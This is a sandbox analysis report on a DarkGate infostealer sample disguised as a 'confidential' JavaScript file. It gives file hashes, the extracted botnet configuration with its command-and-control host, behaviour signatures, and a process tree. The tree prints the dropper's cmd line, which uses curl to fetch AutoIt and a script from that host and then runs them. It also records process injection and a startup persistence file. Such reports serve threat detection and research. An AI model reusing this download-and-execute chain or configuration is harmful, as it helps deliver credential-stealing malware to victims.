darkgate | d2dcaec93d82105a85aa59a8c4bc3fb68cd84eefd9bac9caec917a6554ef63fe

Analysis

max time kernel
171s
max time network
177s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
19-10-2023 19:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Transition_Journey_2023_Confidential.js
Size

50KB
MD5

83914282d9c9680c567121cc18dac066
SHA1

f80092da919ee472ac673c96da20d28c96a30b27
SHA256

412a2790effdc2b85bb83bdf1106fe2f2471df8dfd81df07084ba31371aa8887
SHA512

0f8429f3a2a3c1d972d657c39bd5092395d9b108fbf08ead143daac720a637019222e0a61ed9fba35a9fc2f155c5b060d23ff77cadc31041eb2c5017a24f272b
SSDEEP

768:pBA7PMMFA0tdlXKNSR4vlGRep2lcwJeL+C2jQdc7YCORUQuFBt3TWpe5q:nAIMFFdYMxAcEQDK

Score

10^/10

darkgate ricoc3 stealer

Malware Config

Extracted

Family

darkgate

Botnet

Ricoc3

http://hgfdytrywq.com

Attributes

alternative_c2_port
8080
anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
uwCQCDKnhIZhrE
internal_mutex
txtMut
minimum_disk
100
minimum_ram
4096
ping_interval
4
rootkit
true
startup_persistence
true
username
Ricoc3

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Suspicious use of NtCreateUserProcessOtherParentProcess 64 IoCs

description	pid	Process	procid_target
PID 3512 created 3516	3512	Autoit3.exe	23
PID 3512 created 3168	3512	Autoit3.exe	82
PID 3512 created 2876	3512	Autoit3.exe	17
PID 3512 created 3516	3512	Autoit3.exe	23
PID 3512 created 3516	3512	Autoit3.exe	23
PID 3512 created 3620	3512	Autoit3.exe	21
PID 3512 created 2156	3512	Autoit3.exe	25
PID 3512 created 3516	3512	Autoit3.exe	23
PID 3512 created 3352	3512	Autoit3.exe	39
PID 3512 created 224	3512	Autoit3.exe	84
PID 3512 created 224	3512	Autoit3.exe	84
PID 3512 created 4192	3512	Autoit3.exe	85
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 2876	3816	cmd.exe	17
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 2876	3816	cmd.exe	17
PID 3816 created 2156	3816	cmd.exe	25
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3820	3816	cmd.exe	57
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 2156	3816	cmd.exe	25
PID 3816 created 2156	3816	cmd.exe	25
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 2156	3816	cmd.exe	25
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 3820	3816	cmd.exe	57
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 3820	3816	cmd.exe	57
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 2876	3816	cmd.exe	17
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3820	3816	cmd.exe	57
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3820	3816	cmd.exe	57
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 3620	3816	cmd.exe	21
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 2912	3816	cmd.exe	18
PID 3816 created 2156	3816	cmd.exe	25
PID 3816 created 3352	3816	cmd.exe	39
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 3720	3816	cmd.exe	22
PID 3816 created 3516	3816	cmd.exe	23
PID 3816 created 3516	3816	cmd.exe	23

Blocklisted process makes network request 64 IoCs

flow	pid	Process
34	3816	cmd.exe
35	3816	cmd.exe
40	3816	cmd.exe
42	3816	cmd.exe
46	3816	cmd.exe
47	3816	cmd.exe
49	3816	cmd.exe
50	3816	cmd.exe
51	3816	cmd.exe
52	3816	cmd.exe
53	3816	cmd.exe
54	3816	cmd.exe
55	3816	cmd.exe
56	3816	cmd.exe
57	3816	cmd.exe
58	3816	cmd.exe
59	3816	cmd.exe
60	3816	cmd.exe
61	3816	cmd.exe
66	3816	cmd.exe
67	3816	cmd.exe
70	3816	cmd.exe
71	3816	cmd.exe
72	3816	cmd.exe
73	3816	cmd.exe
74	3816	cmd.exe
75	3816	cmd.exe
76	3816	cmd.exe
77	3816	cmd.exe
78	3816	cmd.exe
79	3816	cmd.exe
80	3816	cmd.exe
81	3816	cmd.exe
82	3816	cmd.exe
83	3816	cmd.exe
84	3816	cmd.exe
85	3816	cmd.exe
86	3816	cmd.exe
87	3816	cmd.exe
88	3816	cmd.exe
89	3816	cmd.exe
90	3816	cmd.exe
91	3816	cmd.exe
92	3816	cmd.exe
93	3816	cmd.exe
94	3816	cmd.exe
95	3816	cmd.exe
96	3816	cmd.exe
97	3816	cmd.exe
98	3816	cmd.exe
99	3816	cmd.exe
100	3816	cmd.exe
101	3816	cmd.exe
105	3816	cmd.exe
106	3816	cmd.exe
107	3816	cmd.exe
110	3816	cmd.exe
111	3816	cmd.exe
112	3816	cmd.exe
113	3816	cmd.exe
115	3816	cmd.exe
116	3816	cmd.exe
117	3816	cmd.exe
118	3816	cmd.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\caheedh.lnk	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3512	Autoit3.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3512 set thread context of 3816	3512	Autoit3.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	cmd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3512	Autoit3.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe
3816	cmd.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 224	3168	wscript.exe	84
PID 3168 wrote to memory of 224	3168	wscript.exe	84
PID 224 wrote to memory of 4460	224	cmd.exe	86
PID 224 wrote to memory of 4460	224	cmd.exe	86
PID 224 wrote to memory of 952	224	cmd.exe	87
PID 224 wrote to memory of 952	224	cmd.exe	87
PID 224 wrote to memory of 3512	224	cmd.exe	88
PID 224 wrote to memory of 3512	224	cmd.exe	88
PID 224 wrote to memory of 3512	224	cmd.exe	88
PID 3512 wrote to memory of 3924	3512	Autoit3.exe	96
PID 3512 wrote to memory of 3924	3512	Autoit3.exe	96
PID 3512 wrote to memory of 3924	3512	Autoit3.exe	96
PID 3512 wrote to memory of 3816	3512	Autoit3.exe	97
PID 3512 wrote to memory of 3816	3512	Autoit3.exe	97
PID 3512 wrote to memory of 3816	3512	Autoit3.exe	97
PID 3512 wrote to memory of 3816	3512	Autoit3.exe	97
PID 3512 wrote to memory of 3816	3512	Autoit3.exe	97

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2912

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3620

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3720

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3516

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2156

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
1⤵
PID:3352

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3820

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Transition_Journey_2023_Confidential.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp & curl -o Autoit3.exe http://hgfdytrywq.com:80 & curl -o nebsse.au3 http://hgfdytrywq.com:80/msieghqixob & Autoit3.exe nebsse.au3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4192
- - C:\Windows\system32\curl.exe
    curl -o Autoit3.exe http://hgfdytrywq.com:80
    3⤵
    PID:4460
- - C:\Windows\system32\curl.exe
    curl -o nebsse.au3 http://hgfdytrywq.com:80/msieghqixob
    3⤵
    PID:952
- - C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
    Autoit3.exe nebsse.au3
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ping 127.0.0.1
      4⤵
      PID:3924
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ping 127.0.0.1
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Blocklisted process makes network request
      Drops startup file
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\fghhgdf\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\ProgramData\fghhgdf\ehbdbhb\baecfbe

Filesize
166B

MD5
29ddce9df989e7d599836433960971ce

SHA1
9f52d8e03fe0c2af0a9ed403fbf78fccf8727537

SHA256
52a993230d8eb7f793e93ebf664ecba01df2c21cf81412f6cd4a912a1dd69433

SHA512
b58377131db2b099ea32771efea5634bf62ff295dd09c6c0de517757d7eb0c668ba000826939cf4c0c5baa9c51a51aa4a23569c97190594a4c7f28af44f28d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nebsse.au3

Filesize
485KB

MD5
d53f05550211535178a23ba86edd7388

SHA1
68d2d61732e8c2b2ad875d1e2ad9f39f190914b4

SHA256
bd7a4b0aa4d06dba3f8aa33277f016d018313ee09eee2696a565f60469ea589d

SHA512
b00445bb380ed158907302ecc0b18e10194074f4c3dac83b139fbba47c243d60ea46e55d711c09200301e3cb447abe93ffe5997b3611fb811fb323f07949889d

Download Submit
\??\c:\temp\eebhfbe.au3

Filesize
485KB

MD5
d53f05550211535178a23ba86edd7388

SHA1
68d2d61732e8c2b2ad875d1e2ad9f39f190914b4

SHA256
bd7a4b0aa4d06dba3f8aa33277f016d018313ee09eee2696a565f60469ea589d

SHA512
b00445bb380ed158907302ecc0b18e10194074f4c3dac83b139fbba47c243d60ea46e55d711c09200301e3cb447abe93ffe5997b3611fb811fb323f07949889d

Download Submit
memory/3512-6-0x0000000000C50000-0x0000000001050000-memory.dmp

Filesize
4.0MB

Download
memory/3512-9-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3512-15-0x0000000000C50000-0x0000000001050000-memory.dmp

Filesize
4.0MB

Download
memory/3512-16-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3512-17-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3512-18-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3512-19-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3512-20-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3512-24-0x00000000040C0000-0x00000000043F2000-memory.dmp

Filesize
3.2MB

Download
memory/3816-51-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-60-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-22-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-26-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-30-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-31-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-32-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-34-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-39-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-41-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-40-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-42-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-43-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-44-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-46-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-47-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-48-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-49-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-50-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-21-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-52-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-53-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-54-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-55-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-56-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-57-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-58-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-23-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-61-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-62-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-63-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-64-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-65-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-66-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-68-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-69-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-71-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-72-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-73-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-74-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-76-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-77-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-78-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-79-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-82-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-81-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-83-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-84-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-85-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-86-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-87-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-88-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-89-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-90-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-91-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3816-93-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download